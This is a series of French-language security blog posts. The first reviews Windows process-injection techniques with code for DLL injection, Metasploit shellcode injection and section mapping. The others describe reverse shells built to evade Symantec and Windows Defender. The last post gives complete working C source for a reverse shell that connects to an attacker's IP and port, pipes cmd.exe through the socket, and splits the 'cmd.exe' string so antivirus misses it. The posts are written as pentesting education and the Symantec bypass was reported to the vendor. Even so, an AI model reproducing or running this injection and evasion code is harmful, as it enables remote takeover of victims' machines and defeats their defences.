Revue des techniques d’injection de code sous Windows

L’injection de code n’est pas un sujet nouveau mais cela reste intéressant car :

  • il n’y a pas une seule mais de multiples techniques d’injection de code
  • ces techniques sont toujours utilisées dans de nombreux malwares
  • je me suis aperçu que pas mal de gens en sécurité ne connaissent pas bien ce sujet.

Alors qu’est-ce que l’injection de code et à quoi ça sert ?

L’injection de code mémoire consiste à insérer un programme dans un processus Windows en cours d’exécution.

Mais pourquoi faire ?

Comme tout malware qui se respecte le but est de rester discret donc utiliser un programme déjà en mémoire c’est royal.
En effet imaginons qu’un outil de type « application whitelisting » sur un poste de travail n’autorise qu’une liste bien précise de processus à sortir sur Internet. L’injection de code dans un processus autorisé va justement permettre de passer cette barrière infranchissable.

Par ailleurs une fois l’injection de code réussie, il est possible de détourner les appels systèmes réalisés par le processus infecté. C’est de cette façon que font par exemple certains malwares pour intercepter discrètement les requêtes web (même en HTTPS).
Bref vous l’avez compris, l’injection de code pour un malware c’est top 🙁

Comment est-ce possible ?

C’est là le drame, Windows ne filtre pas nativement les accès fait aux différents processus, ce qui permet l’allocation d’une zone mémoire dans le processus cible par le processus attaquant.
Alors certes la plupart des solutions anti-malwares détectent ces techniques d’injection de bases mais pas toutes.

Alors commençons par la base.

La technique la plus connue est certainement celle employant le trio d’appels système Windows suivant :

VirtualAllocEx / WriteProcessMemory / CreateRemoteThread

Qu’est-ce que ce charabia ?

Cette technique repose sur le fait qu’il est possible d’allouer de la mémoire (VirtualAllocEx), d’écrire dans un processus (WriteProcessMemory) et d’y exécuter un thread (CreateRemoteThread).

Plusieurs façons de procéder :

1) Injection d’une DLL 

Dans ce cas on n’injecte pas du code directement mais le chemin d’une DLL malveillante que l’on exécute.

Au niveau programmation, cela se présente de la forme suivante :

LPCSTR DllPath = "Ici se trouve le chemin vers la DLL à exécuter";
int PID = pid_processus_cible // Ici on inscrit le numéro du processus cible
// On ouvre le processus cible
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
// On alloue de la mémoire dans le processus cible.
// La taille demandée correspond à la longueur de la chaîne de caractères du chemin complet de la DLL augmenté de 1 pour le caractère fin de chaîne.
LPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
// On écrit le chemin de la DLL dans le processus cible
WriteProcessMemory(hProcess, pDllPath, (LPVOID)DllPath,
strlen(DllPath) + 1, 0);
// On y est. 
// On crée un thread dans le process cible avec comme adresse mémoire celle de la DLL à faire exécuter par la fonction LoadLibray et le tour est joué
HANDLE hLoadThread = CreateRemoteThread(hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"),
"LoadLibraryA"), pDllPath, 0, 0);

Ci-joint un screenshot montrant l’injection d’une DLL affichant un message « Hello from testlib » dans le programme Notepad++ :

https://github.com/kahlon81/Process-Injection-DLL

2) Injection d’un programme complet (code assembleur)

Dans ce cas on injecte vraiment du code sous la forme de code assembleur.

Au niveau programmation, cela se présente de la façon suivante :

On met le code à injecter dans une chaîne de caractères contenant les opcodes en hexadécimal du code assembleur. Par exemple, ci-dessous on a le code assembleur d’un MessageBox issu de l’outil Metasploit :

// Metasploit Messagebox 
char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
// On ouvre le processus cible
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 7356);
// On alloue de la mémoire dans le processus cible, la taille allouée correspond à la taille du code injecté
shell = VirtualAllocEx(proc, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
// On écrit le code dans le processus cible
WriteProcessMemory(proc, shell, shellcode, sizeof(shellcode), &total);
// On exécute le code
s = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)shell, NULL, 0, 0)

Ci-joint un screenshot montrant l’injection de ce code dans Notepad++, celui-ci affichant un message « Hello, from MSF » :

https://github.com/kahlon81/Process-Injection-ASM

3) Technique dite « Reflective DLL »

Les deux techniques précédentes utilisent un appel à la fonction WriteProcessMemory, ce qui est facile à tracer par les outils anti-malwares, par conséquent ces techniques d’injection ne sont plus trop utilisées.
Une autre technique a vu le jour il y a quelques temps (utilisée par exemple par le botnet Andromeda) est justement de ne plus faire appel à la fonction WriteProcessMemory . L’idée est de créer une « section » (un programme Windows est composé de plusieurs sections) et de mapper cette section dans l’espace mémoire du processus courant et dans celui du processus cible. Ce n’est pas sans difficulté car on ne connait pas à l’avance à quelle adresse mémoire sera positionnée la nouvelle section, il sera donc nécessaire de « reloger » (déplacer) le code, ce qui veut dire recalculer les sauts d’adresses écrits en absolus. Bref, c’est plus compliqué mais ça fonctionne bien et surtout plus besoin du WriteProcessMemory !

Au niveau programmation, prenons l’exemple de la calculatrice Windows dans laquelle nous voulons injecter le code suivant :

MessageBoxA(NULL, "Code injection demo.", "pentester.blog", MB_ICONINFORMATION);

L’intégralité du code d’injection est un peu trop long à publier alors je me limite aux principaux appels :

// On suspend le processus cible (la calculette dans notre exemple)
CreateProcessW(NULL, ImagePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo)
// On crée la section
NtCreateSection(&SectionHandle, SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, &SectionMaxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// On map la section dans le processus cible
NtMapViewOfSection(SectionHandle, ProcessHandle, &RemoteAddress, NULL, NULL, NULL, &ViewSize, 2, NULL, PAGE_EXECUTE_READWRITE);
// La section cible est un miroir de notre section locale. 
// Toute modification dans la section locale affectera automatiquement la section cible
memcpy(LocalAddress, (LPVOID)OurBaseAddress, NtHeaders->OptionalHeader.SizeOfImage);
// On reloge le code à l'adresse RemoteAddress
RelocatePE((PBYTE)LocalAddress, RemoteAddress);
// On remet le processus à l'état normal (il était suspendu)
ResumeThread(ProcessInfo.hThread)

Ci-joint une capture écran de l’injection de code d’un MessageBox dans la calculatrice Windows :

https://github.com/kahlon81/Process-Injection-Reflective-DLL

Voila vous avez maintenant les bases de l’injection de code dans les processus Windows. Vous retrouverez sous peu sur mon Github l’ensemble des codes sources des exemples.

Pour ceux qui veulent aller plus loin, sachez que les auteurs de malwares ne manquent pas d’imagination pour échapper aux anti-malwares comme par exemple écrire octet par octet le code à injecter plutôt que d’envoyer un buffer complet ou bien ne pas envoyer des opcodes assembleur Intel mais envoyer un bytecode propriétaire (un nouveau langage en somme)…

Programmation d’un reverse shell qui passe à travers Symantec (Windows 10)

Dans la foulée de mon précédent post sur le contournement de Windows Defender, j’ai voulu testé un antivirus disposant de protections plus avancées.

J’ai donc choisi la dernière version de Symantec qui intègre des fonctions de détections réseaux (pare-feu et détection d’intrusions), d’un module heuristique et surtout d’un module d’analyse comportemental appelé SONAR.

Après quelques essais infructueux, j’ai finalement trouvé un moyen assez simple de programmer un reverse shell qui n’est détecté par aucun des modules de protection de Symantec…

Ci-joint une vidéo de démonstration :

NB : Symantec est alerté et j’attends leur retour avant de publier le code source.

Mise à jour du 23/10/2018, Symantec m’a répondu :

Thank you again for contacting us with this information.

Our teams have reviewed this and it appears it is a simple missed detection. The Symantec Threat Intel team has created a detection signature for this issue which should now be live that should mitigate the problem and ensure detection by our software.

We appreciate you taking the time to provide us with this information. If you have any questions or would like to submit any additional information for review, feel free to email us at secure@symantec.com.

Thanks and kind regards,

Le code source est maintenant disponible sur mon Github, https://github.com/kahlon81/ReverseShell-Bypass-Symantec

 

Un reverse shell qui passe sous les radars de Windows Defender (Windows 10)

Un jour je me suis demandé s’il était facile ou pas de concevoir un petit reverse shell (la base des trojans) pour Windows qui ne serait pas détecté par Windows Defender et le pare-feu de Microsoft.

Contre toute attente 🙂 ce fut fort simple !

Un petit code en C qui ne fait que le minimum vital suffit à passer à travers Windows Defender, la preuve en vidéo puis en images ;

Vidéo de démonstration :

Je commence par lancer Kali, voir son ip et lancer un listener sur le port tcp 4444 :

La victime maintenant, une VM sous Windows 10 complètement à jour (30/08/2018)  avec Windows Defender activé ainsi que le pare-feu de Microsoft :

Sous Windows 10, j’ouvre l’invite de commandes et comme pour simuler le click sur un trojan, je lance le reverse shell (ici Projet1.exe) en donnant comme IP celle du Kali :

Et voila, de retour sur Kali, j’ai bien un shell à distance sur la victime, Windows Defender n’a rien vu d’anormal :

Côté Windows 10 le programme Projet1.exe est terminé mais son process enfant est bien présent en mémoire, visible avec tcpview (ligne en bleue) :

Voici le code source en C de ce petit reverse shell. franchement il n’y a rien de sorcier, inquiétant non ?

#include <winsock2.h>
#include <stdio.h>

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
  

int main(int argc, char *argv[]) 
{
	WSAStartup(MAKEWORD(2,2), &wsaData);
	Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
    
    	if (argv[1] == NULL){
		exit(1);
	}

    	struct hostent *host;
	host = gethostbyname(argv[1]);
	strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    
	hax.sin_family = AF_INET;
	hax.sin_port = htons(atoi(argv[2]));
	hax.sin_addr.s_addr =inet_addr(aip_addr);
    
	WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
	if (WSAGetLastError() == 0) {

		memset(&ini_processo, 0, sizeof(ini_processo));

		ini_processo.cb=sizeof(ini_processo);
		ini_processo.dwFlags=STARTF_USESTDHANDLES;
		ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

		char *myArray[4] = { "cm", "d.e", "x", "e" };
		char command[8] = "";
		snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);

		CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
		exit(0);
	} else {
		exit(0);
	}    
}